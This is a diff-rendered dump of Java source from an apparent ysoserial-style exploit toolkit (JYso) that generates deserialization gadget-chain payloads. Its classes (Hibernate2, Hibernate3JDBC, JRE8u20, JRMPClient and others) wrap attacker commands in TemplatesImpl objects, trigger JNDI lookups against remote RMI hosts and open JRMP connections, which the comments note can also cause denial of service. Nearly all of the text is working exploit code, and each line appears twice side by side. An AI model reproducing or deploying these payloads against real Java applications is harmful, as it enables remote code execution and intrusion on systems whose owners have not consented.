Reflections.setFieldValue(t, "tuplizerMapping", emtm); Reflections.setFieldValue(t, "tuplizerMapping", emtm);
Reflections.setFieldValue(t, "propertySpan", 1); Reflections.setFieldValue(t, "propertySpan", 1);
Reflections.setFieldValue(t, "propertyTypes", new Type[]{ Reflections.setFieldValue(t, "propertyTypes", new Type[]{
t t
}); });
Constructor<?> typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class); Constructor<?> typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class);
Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO); Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
Reflections.setFieldValue(v1, "value", tpl); Reflections.setFieldValue(v1, "value", tpl);
Reflections.setFieldValue(v1, "type", t); Reflections.setFieldValue(v1, "type", t);
Object v2 = typedValueConstructor.newInstance(t, null, EntityMode.POJO); Object v2 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
Reflections.setFieldValue(v2, "value", tpl); Reflections.setFieldValue(v2, "value", tpl);
Reflections.setFieldValue(v2, "type", t); Reflections.setFieldValue(v2, "type", t);
return makeMap(v1, v2); return makeMap(v1, v2);
} }
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
final Object tpl; final Object tpl;
tpl = Gadgets.createTemplatesImpl(command); tpl = Gadgets.createTemplatesImpl(command);
Object getters = makeGetter(tpl.getClass(), "getOutputProperties"); Object getters = makeGetter(tpl.getClass(), "getOutputProperties");
return makeCaller(tpl, getters); return makeCaller(tpl, getters);
} }
} }
@@ -1,56 +1,56 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.utils.DynamicDependencies; import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
import com.qi4l.JYso.gadgets.utils.JavaVersion; import com.qi4l.JYso.gadgets.utils.JavaVersion;
import com.sun.rowset.JdbcRowSetImpl; import com.sun.rowset.JdbcRowSetImpl;
/** /**
* Another application filter bypass * Another application filter bypass
* <p> * <p>
* Needs a getter invocation that is provided by hibernate here * Needs a getter invocation that is provided by hibernate here
* <p> * <p>
* javax.naming.InitialContext.InitialContext.lookup() * javax.naming.InitialContext.InitialContext.lookup()
* com.sun.rowset.JdbcRowSetImpl.connect() * com.sun.rowset.JdbcRowSetImpl.connect()
* com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData() * com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
* org.hibernate.property.access.spi.GetterMethodImpl.get() * org.hibernate.property.access.spi.GetterMethodImpl.get()
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue() * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
* org.hibernate.type.ComponentType.getPropertyValue(C) * org.hibernate.type.ComponentType.getPropertyValue(C)
* org.hibernate.type.ComponentType.getHashCode() * org.hibernate.type.ComponentType.getHashCode()
* org.hibernate.engine.spi.TypedValue$1.initialize() * org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.engine.spi.TypedValue$1.initialize() * org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.internal.util.ValueHolder.getValue() * org.hibernate.internal.util.ValueHolder.getValue()
* org.hibernate.engine.spi.TypedValue.hashCode() * org.hibernate.engine.spi.TypedValue.hashCode()
* <p> * <p>
* <p> * <p>
* Requires: * Requires:
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only) * - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
* <p> * <p>
* Arg: * Arg:
* - JNDI name (i.e. rmi:<host>) * - JNDI name (i.e. rmi:<host>)
* <p> * <p>
* Yields: * Yields:
* - JNDI lookup invocation (e.g. connect to remote RMI) * - JNDI lookup invocation (e.g. connect to remote RMI)
* *
* @author mbechler * @author mbechler
*/ */
@SuppressWarnings({"unused"}) @SuppressWarnings({"unused"})
@Authors({Authors.MBECHLER}) @Authors({Authors.MBECHLER})
public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies { public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies {
public static boolean isApplicableJavaVersion() { public static boolean isApplicableJavaVersion() {
return JavaVersion.isAtLeast(7); return JavaVersion.isAtLeast(7);
} }
public static String[] getDependencies() { public static String[] getDependencies() {
return Hibernate1.getDependencies(); return Hibernate1.getDependencies();
} }
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl(); JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(command); rs.setDataSourceName(command);
return Hibernate1.makeCaller(rs, Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData")); return Hibernate1.makeCaller(rs, Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData"));
} }
} }
@@ -1,52 +1,52 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.DynamicDependencies; import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
import javassist.ClassPool; import javassist.ClassPool;
import javassist.CtClass; import javassist.CtClass;
import javassist.CtMethod; import javassist.CtMethod;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import static com.qi4l.JYso.gadgets.Fastjson1.getFastjsonSink; import static com.qi4l.JYso.gadgets.Fastjson1.getFastjsonSink;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
@SuppressWarnings({"unused"}) @SuppressWarnings({"unused"})
@Dependencies({" org.hibernate.hibernate-core:hibernate-core <= 4.1.12.Fina", "com.alibaba.fastjson:com.alibaba.fastjson 1.X"}) @Dependencies({" org.hibernate.hibernate-core:hibernate-core <= 4.1.12.Fina", "com.alibaba.fastjson:com.alibaba.fastjson 1.X"})
@Authors({Authors.UNAM4}) @Authors({Authors.UNAM4})
public class Hibernate3JDBC implements ObjectPayload<Object>, DynamicDependencies { public class Hibernate3JDBC implements ObjectPayload<Object>, DynamicDependencies {
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
ClassPool pool = ClassPool.getDefault(); ClassPool pool = ClassPool.getDefault();
CtClass driverconimpl = pool.makeClass("org.hibernate.service.jdbc.connections.internal.DriverManagerConnectionProviderImpl"); CtClass driverconimpl = pool.makeClass("org.hibernate.service.jdbc.connections.internal.DriverManagerConnectionProviderImpl");
CtClass serializable = pool.get("java.io.Serializable"); CtClass serializable = pool.get("java.io.Serializable");
driverconimpl.addInterface(serializable); driverconimpl.addInterface(serializable);
insertField(driverconimpl, "serialVersionUID", "private static final long serialVersionUID = -3339733132699493320L;"); insertField(driverconimpl, "serialVersionUID", "private static final long serialVersionUID = -3339733132699493320L;");
insertField(driverconimpl, "url", "private String url;"); insertField(driverconimpl, "url", "private String url;");
insertField(driverconimpl, "poolSize", "private int poolSize;"); insertField(driverconimpl, "poolSize", "private int poolSize;");
insertField(driverconimpl, "pool", "private java.util.ArrayList pool = new java.util.ArrayList();"); insertField(driverconimpl, "pool", "private java.util.ArrayList pool = new java.util.ArrayList();");
CtMethod make = CtMethod.make( CtMethod make = CtMethod.make(
"public void configure(java.util.Map configurationValues) { " + "public void configure(java.util.Map configurationValues) { " +
"this.url = (String) configurationValues.get(\"hibernate.connection.url\");" + "this.url = (String) configurationValues.get(\"hibernate.connection.url\");" +
"this.poolSize = Integer.parseInt((String) configurationValues.get(\"hibernate.connection.pool_size\"));" + "this.poolSize = Integer.parseInt((String) configurationValues.get(\"hibernate.connection.pool_size\"));" +
"this.pool = new java.util.ArrayList();" + "this.pool = new java.util.ArrayList();" +
"}", driverconimpl); "}", driverconimpl);
driverconimpl.addMethod(make); driverconimpl.addMethod(make);
Class<?> clazz = driverconimpl.toClass(); Class<?> clazz = driverconimpl.toClass();
Object o1 = clazz.newInstance(); Object o1 = clazz.newInstance();
HashMap<Object, Object> map1 = new HashMap<>(); HashMap<Object, Object> map1 = new HashMap<>();
map1.put("hibernate.connection.url", command); map1.put("hibernate.connection.url", command);
map1.put("hibernate.connection.pool_size", "0"); map1.put("hibernate.connection.pool_size", "0");
clazz.getMethod("configure", Map.class).invoke(o1, map1); clazz.getMethod("configure", Map.class).invoke(o1, map1);
return getFastjsonSink(o1); return getFastjsonSink(o1);
} }
} }
@@ -1,18 +1,18 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import static com.qi4l.JYso.gadgets.JavassistWeld1.get_chain; import static com.qi4l.JYso.gadgets.JavassistWeld1.get_chain;
@SuppressWarnings({"unused"}) @SuppressWarnings({"unused"})
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final", @Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final",
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"}) "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"})
@Authors({Authors.MATTHIASKAISER}) @Authors({Authors.MATTHIASKAISER})
public class JBossInterceptors1 implements ObjectPayload<Object> { public class JBossInterceptors1 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
return get_chain(command, null, org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE); return get_chain(command, null, org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
} }
} }
+106 -106
View File
@@ -1,106 +1,106 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.JavaVersion; import com.qi4l.JYso.gadgets.utils.JavaVersion;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.jre.*; import com.qi4l.JYso.gadgets.utils.jre.*;
import javax.xml.transform.Templates; import javax.xml.transform.Templates;
import java.beans.beancontext.BeanContextChild; import java.beans.beancontext.BeanContextChild;
import java.beans.beancontext.BeanContextSupport; import java.beans.beancontext.BeanContextSupport;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream; import java.io.DataOutputStream;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import static com.qi4l.JYso.Starter.JYsoMode; import static com.qi4l.JYso.Starter.JYsoMode;
@SuppressWarnings({"rawtypes", "unused"}) @SuppressWarnings({"rawtypes", "unused"})
@Dependencies @Dependencies
@Authors({"frohoff"}) @Authors({"frohoff"})
public class JRE8u20 implements ObjectPayload<Object> { public class JRE8u20 implements ObjectPayload<Object> {
public static Object makeTemplates(String command) throws Exception { public static Object makeTemplates(String command) throws Exception {
final Object templates; final Object templates;
templates = Gadgets.createTemplatesImpl(command); templates = Gadgets.createTemplatesImpl(command);
Reflections.setFieldValue(templates, "_auxClasses", null); Reflections.setFieldValue(templates, "_auxClasses", null);
return templates; return templates;
} }
public static TCObject makeHandler(HashMap map, Serialization ser) throws Exception { public static TCObject makeHandler(HashMap map, Serialization ser) throws Exception {
TCObject handler = new TCObject(ser) { TCObject handler = new TCObject(ser) {
public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception {
ByteArrayOutputStream byteout = new ByteArrayOutputStream(); ByteArrayOutputStream byteout = new ByteArrayOutputStream();
super.doWrite(new DataOutputStream(byteout), handles); super.doWrite(new DataOutputStream(byteout), handles);
byte[] bytes = byteout.toByteArray(); byte[] bytes = byteout.toByteArray();
out.write(bytes, 0, bytes.length - 1); out.write(bytes, 0, bytes.length - 1);
} }
}; };
TCClassDesc desc = new TCClassDesc("sun.reflect.annotation.AnnotationInvocationHandler", (byte) 3); TCClassDesc desc = new TCClassDesc("sun.reflect.annotation.AnnotationInvocationHandler", (byte) 3);
desc.addField(new TCClassDesc.Field("memberValues", Map.class)); desc.addField(new TCClassDesc.Field("memberValues", Map.class));
desc.addField(new TCClassDesc.Field("type", Class.class)); desc.addField(new TCClassDesc.Field("type", Class.class));
TCObject.ObjectData data = new TCObject.ObjectData(); TCObject.ObjectData data = new TCObject.ObjectData();
data.addData(map); data.addData(map);
data.addData(Templates.class); data.addData(Templates.class);
handler.addClassDescData(desc, data); handler.addClassDescData(desc, data);
return handler; return handler;
} }
public static TCObject makeBeanContextSupport(TCObject handler, Serialization ser) throws Exception { public static TCObject makeBeanContextSupport(TCObject handler, Serialization ser) throws Exception {
TCObject obj = new TCObject(ser); TCObject obj = new TCObject(ser);
TCClassDesc beanContextSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextSupport"); TCClassDesc beanContextSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextSupport");
TCClassDesc beanContextChildSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextChildSupport"); TCClassDesc beanContextChildSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextChildSupport");
beanContextSupportDesc.addField(new TCClassDesc.Field("serializable", int.class)); beanContextSupportDesc.addField(new TCClassDesc.Field("serializable", int.class));
TCObject.ObjectData beanContextSupportData = new TCObject.ObjectData(); TCObject.ObjectData beanContextSupportData = new TCObject.ObjectData();
beanContextSupportData.addData(1); beanContextSupportData.addData(1);
beanContextSupportData.addData(handler); beanContextSupportData.addData(handler);
beanContextSupportData.addData(0, true); beanContextSupportData.addData(0, true);
beanContextChildSupportDesc.addField(new TCClassDesc.Field("beanContextChildPeer", BeanContextChild.class)); beanContextChildSupportDesc.addField(new TCClassDesc.Field("beanContextChildPeer", BeanContextChild.class));
TCObject.ObjectData beanContextChildSupportData = new TCObject.ObjectData(); TCObject.ObjectData beanContextChildSupportData = new TCObject.ObjectData();
beanContextChildSupportData.addData(obj); beanContextChildSupportData.addData(obj);
obj.addClassDescData(beanContextSupportDesc, beanContextSupportData, true); obj.addClassDescData(beanContextSupportDesc, beanContextSupportData, true);
obj.addClassDescData(beanContextChildSupportDesc, beanContextChildSupportData); obj.addClassDescData(beanContextChildSupportDesc, beanContextChildSupportData);
return obj; return obj;
} }
public static boolean isApplicableJavaVersion() { public static boolean isApplicableJavaVersion() {
JavaVersion v = JavaVersion.getLocalVersion(); JavaVersion v = JavaVersion.getLocalVersion();
return (v != null && (v.major < 8 || (v.major == 8 && v.update <= 20))); return (v != null && (v.major < 8 || (v.major == 8 && v.update <= 20)));
} }
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
Serialization ser = new Serialization(); Serialization ser = new Serialization();
Object templates = makeTemplates(command); Object templates = makeTemplates(command);
HashMap<Object, Object> map = new HashMap<>(); HashMap<Object, Object> map = new HashMap<>();
map.put("f5a5a608", templates); map.put("f5a5a608", templates);
TCObject handler = makeHandler(map, ser); TCObject handler = makeHandler(map, ser);
TCObject linkedHashset = new TCObject(ser); TCObject linkedHashset = new TCObject(ser);
TCClassDesc linkedhashsetDesc = new TCClassDesc("java.util.LinkedHashSet"); TCClassDesc linkedhashsetDesc = new TCClassDesc("java.util.LinkedHashSet");
TCObject.ObjectData linkedhashsetData = new TCObject.ObjectData(); TCObject.ObjectData linkedhashsetData = new TCObject.ObjectData();
TCClassDesc hashsetDesc = new TCClassDesc("java.util.HashSet"); TCClassDesc hashsetDesc = new TCClassDesc("java.util.HashSet");
hashsetDesc.addField(new TCClassDesc.Field("fake", BeanContextSupport.class)); hashsetDesc.addField(new TCClassDesc.Field("fake", BeanContextSupport.class));
TCObject.ObjectData hashsetData = new TCObject.ObjectData(); TCObject.ObjectData hashsetData = new TCObject.ObjectData();
hashsetData.addData(makeBeanContextSupport(handler, ser)); hashsetData.addData(makeBeanContextSupport(handler, ser));
hashsetData.addData(10, true); hashsetData.addData(10, true);
hashsetData.addData(1.0F, true); hashsetData.addData(1.0F, true);
hashsetData.addData(2, true); hashsetData.addData(2, true);
hashsetData.addData(templates); hashsetData.addData(templates);
TCObject proxy = Util.makeProxy(new Class[]{Map.class}, handler, ser); TCObject proxy = Util.makeProxy(new Class[]{Map.class}, handler, ser);
hashsetData.addData(proxy); hashsetData.addData(proxy);
linkedHashset.addClassDescData(linkedhashsetDesc, linkedhashsetData); linkedHashset.addClassDescData(linkedhashsetDesc, linkedhashsetData);
linkedHashset.addClassDescData(hashsetDesc, hashsetData, true); linkedHashset.addClassDescData(hashsetDesc, hashsetData, true);
ser.addObject(linkedHashset); ser.addObject(linkedHashset);
if (JYsoMode) { if (JYsoMode) {
ser.write(System.out); ser.write(System.out);
System.exit(0); System.exit(0);
} }
ByteArrayOutputStream out = new ByteArrayOutputStream(); ByteArrayOutputStream out = new ByteArrayOutputStream();
ser.write(out); ser.write(out);
return out.toByteArray(); return out.toByteArray();
} }
} }
@@ -1,73 +1,73 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.ByteUtil; import com.qi4l.JYso.gadgets.utils.ByteUtil;
import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.Serializer; import com.qi4l.JYso.gadgets.utils.Serializer;
import javassist.ClassPool; import javassist.ClassPool;
import javassist.CtClass; import javassist.CtClass;
import javassist.CtMethod; import javassist.CtMethod;
import javax.xml.transform.Templates; import javax.xml.transform.Templates;
import java.beans.beancontext.BeanContextSupport; import java.beans.beancontext.BeanContextSupport;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationHandler;
import java.util.HashMap; import java.util.HashMap;
import java.util.LinkedHashSet; import java.util.LinkedHashSet;
import java.util.Map; import java.util.Map;
import static com.qi4l.JYso.gadgets.utils.Utils.createProxy; import static com.qi4l.JYso.gadgets.utils.Utils.createProxy;
@SuppressWarnings({"rawtypes", "unchecked","unused"}) @SuppressWarnings({"rawtypes", "unchecked","unused"})
public class JRE8u20_2 implements ObjectPayload<Object> { public class JRE8u20_2 implements ObjectPayload<Object> {
public static Class newInvocationHandlerClass() throws Exception { public static Class newInvocationHandlerClass() throws Exception {
ClassPool pool = ClassPool.getDefault(); ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS); CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS);
CtMethod writeObject = CtMethod.make(" private void writeObject(java.io.ObjectOutputStream os) throws java.io.IOException {\n" + CtMethod writeObject = CtMethod.make(" private void writeObject(java.io.ObjectOutputStream os) throws java.io.IOException {\n" +
" os.defaultWriteObject();\n" + " os.defaultWriteObject();\n" +
" }", clazz); " }", clazz);
clazz.addMethod(writeObject); clazz.addMethod(writeObject);
return clazz.toClass(); return clazz.toClass();
} }
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
final Object templates; final Object templates;
templates = Gadgets.createTemplatesImpl(command); templates = Gadgets.createTemplatesImpl(command);
Class ihClass = newInvocationHandlerClass(); Class ihClass = newInvocationHandlerClass();
Constructor constructor = ihClass.getDeclaredConstructor(Class.class, Map.class); Constructor constructor = ihClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true); constructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler) constructor.newInstance(Override.class, new HashMap<>()); InvocationHandler ih = (InvocationHandler) constructor.newInstance(Override.class, new HashMap<>());
Reflections.setFieldValue(ih, "type", Templates.class); Reflections.setFieldValue(ih, "type", Templates.class);
Templates proxy = createProxy(ih, Templates.class); Templates proxy = createProxy(ih, Templates.class);
BeanContextSupport b = new BeanContextSupport(); BeanContextSupport b = new BeanContextSupport();
Reflections.setFieldValue(b, "serializable", 1); Reflections.setFieldValue(b, "serializable", 1);
HashMap tmpMap = new HashMap<>(); HashMap tmpMap = new HashMap<>();
tmpMap.put(ih, null); tmpMap.put(ih, null);
Reflections.setFieldValue(b, "children", tmpMap); Reflections.setFieldValue(b, "children", tmpMap);
LinkedHashSet set = new LinkedHashSet();//这样可以确保先反序列化 templates 再反序列化 proxy LinkedHashSet set = new LinkedHashSet();//这样可以确保先反序列化 templates 再反序列化 proxy
set.add(b); set.add(b);
set.add(templates); set.add(templates);
set.add(proxy); set.add(proxy);
HashMap hm = new HashMap(); HashMap hm = new HashMap();
hm.put("f5a5a608", templates); hm.put("f5a5a608", templates);
Reflections.setFieldValue(ih, "memberValues", hm); Reflections.setFieldValue(ih, "memberValues", hm);
byte[] ser = Serializer.serialize(set); byte[] ser = Serializer.serialize(set);
byte[] shoudReplace = new byte[]{0x78, 0x70, 0x77, 0x04, 0x00, 0x00, 0x00, 0x00, 0x78, 0x71}; byte[] shoudReplace = new byte[]{0x78, 0x70, 0x77, 0x04, 0x00, 0x00, 0x00, 0x00, 0x78, 0x71};
int i = ByteUtil.getSubarrayIndex(ser, shoudReplace); int i = ByteUtil.getSubarrayIndex(ser, shoudReplace);
ser = ByteUtil.deleteAt(ser, i); // delete 0x78 ser = ByteUtil.deleteAt(ser, i); // delete 0x78
ser = ByteUtil.deleteAt(ser, i); // delete 0x70 ser = ByteUtil.deleteAt(ser, i); // delete 0x70
return ser; return ser;
} }
} }
@@ -1,66 +1,66 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import sun.rmi.server.UnicastRef; import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef; import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint; import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.Proxy; import java.lang.reflect.Proxy;
import java.rmi.registry.Registry; import java.rmi.registry.Registry;
import java.rmi.server.ObjID; import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler; import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random; import java.util.Random;
/** /**
* UnicastRef.newCall(RemoteObject, Operation[], int, long) * UnicastRef.newCall(RemoteObject, Operation[], int, long)
* DGCImpl_Stub.dirty(ObjID[], long, Lease) * DGCImpl_Stub.dirty(ObjID[], long, Lease)
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long) * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>) * DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
* DGCClient.registerRefs(Endpoint, List<LiveRef>) * DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean) * LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput) * UnicastRef.readExternal(ObjectInput)
* <p> * <p>
* Thread.start() * Thread.start()
* DGCClient$EndpointEntry.<init>(Endpoint) * DGCClient$EndpointEntry.<init>(Endpoint)
* DGCClient$EndpointEntry.lookup(Endpoint) * DGCClient$EndpointEntry.lookup(Endpoint)
* DGCClient.registerRefs(Endpoint, List<LiveRef>) * DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean) * LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput) * UnicastRef.readExternal(ObjectInput)
* <p> * <p>
* Requires: * Requires:
* - JavaSE * - JavaSE
* <p> * <p>
* Argument: * Argument:
* - host:port to connect to, host only chooses random port (DOS if repeated many times) * - host:port to connect to, host only chooses random port (DOS if repeated many times)
* <p> * <p>
* Yields: * Yields:
* * an established JRMP connection to the endpoint (if reachable) * * an established JRMP connection to the endpoint (if reachable)
* * a connected RMI Registry proxy * * a connected RMI Registry proxy
* * one system thread per endpoint (DOS) * * one system thread per endpoint (DOS)
* *
* @author mbechler * @author mbechler
*/ */
@SuppressWarnings({"unused"}) @SuppressWarnings({"unused"})
@Authors({Authors.MBECHLER}) @Authors({Authors.MBECHLER})
public class JRMPClient implements ObjectPayload<Object> { public class JRMPClient implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
String host; String host;
int port; int port;
int sep = command.indexOf(':'); int sep = command.indexOf(':');
if (sep < 0) { if (sep < 0) {
port = new Random().nextInt(65535); port = new Random().nextInt(65535);
host = command; host = command;
} else { } else {
host = command.substring(0, sep); host = command.substring(0, sep);
port = Integer.parseInt(command.substring(sep + 1)); port = Integer.parseInt(command.substring(sep + 1));
} }
ObjID id = new ObjID(new Random().nextInt()); // RMI registry ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port); TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
return Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{ return Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{
Registry.class Registry.class
}, obj); }, obj);
} }
} }
@@ -1,38 +1,38 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import sun.rmi.server.UnicastRef; import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef; import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint; import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.Proxy; import java.lang.reflect.Proxy;
import java.rmi.activation.Activator; import java.rmi.activation.Activator;
import java.rmi.server.ObjID; import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler; import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random; import java.util.Random;
@SuppressWarnings({"unused"}) @SuppressWarnings({"unused"})
@Authors({"mbechler"}) @Authors({"mbechler"})
public class JRMPClient_Activator implements ObjectPayload<Activator> { public class JRMPClient_Activator implements ObjectPayload<Activator> {
@Override @Override
public Activator getObject(String command) throws Exception { public Activator getObject(String command) throws Exception {
UnicastRef ref = JRMPSource(command); UnicastRef ref = JRMPSource(command);
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
return (Activator) Proxy.newProxyInstance(JRMPClient_Activator.class.getClassLoader(), new Class[]{Activator.class}, obj); return (Activator) Proxy.newProxyInstance(JRMPClient_Activator.class.getClassLoader(), new Class[]{Activator.class}, obj);
} }
static UnicastRef JRMPSource(String command) { static UnicastRef JRMPSource(String command) {
String host; String host;
int port, sep = command.indexOf(':'); int port, sep = command.indexOf(':');
if (sep < 0) { if (sep < 0) {
port = (new Random()).nextInt(65535); port = (new Random()).nextInt(65535);
host = command; host = command;
} else { } else {
host = command.substring(0, sep); host = command.substring(0, sep);
port = Integer.parseInt(command.substring(sep + 1)); port = Integer.parseInt(command.substring(sep + 1));
} }
ObjID id = new ObjID((new Random()).nextInt()); ObjID id = new ObjID((new Random()).nextInt());
TCPEndpoint te = new TCPEndpoint(host, port); TCPEndpoint te = new TCPEndpoint(host, port);
return new UnicastRef(new LiveRef(id, te, false)); return new UnicastRef(new LiveRef(id, te, false));
} }
} }
@@ -1,16 +1,16 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import sun.rmi.server.UnicastRef; import sun.rmi.server.UnicastRef;
import java.rmi.server.RemoteObjectInvocationHandler; import java.rmi.server.RemoteObjectInvocationHandler;
@SuppressWarnings({"unused"}) @SuppressWarnings({"unused"})
@Authors({"mbechler"}) @Authors({"mbechler"})
public class JRMPClient_Obj implements ObjectPayload<RemoteObjectInvocationHandler> { public class JRMPClient_Obj implements ObjectPayload<RemoteObjectInvocationHandler> {
@Override @Override
public RemoteObjectInvocationHandler getObject(String command) throws Exception { public RemoteObjectInvocationHandler getObject(String command) throws Exception {
UnicastRef ref = JRMPClient_Activator.JRMPSource(command); UnicastRef ref = JRMPClient_Activator.JRMPSource(command);
return new RemoteObjectInvocationHandler(ref); return new RemoteObjectInvocationHandler(ref);
} }
} }
@@ -1,47 +1,47 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
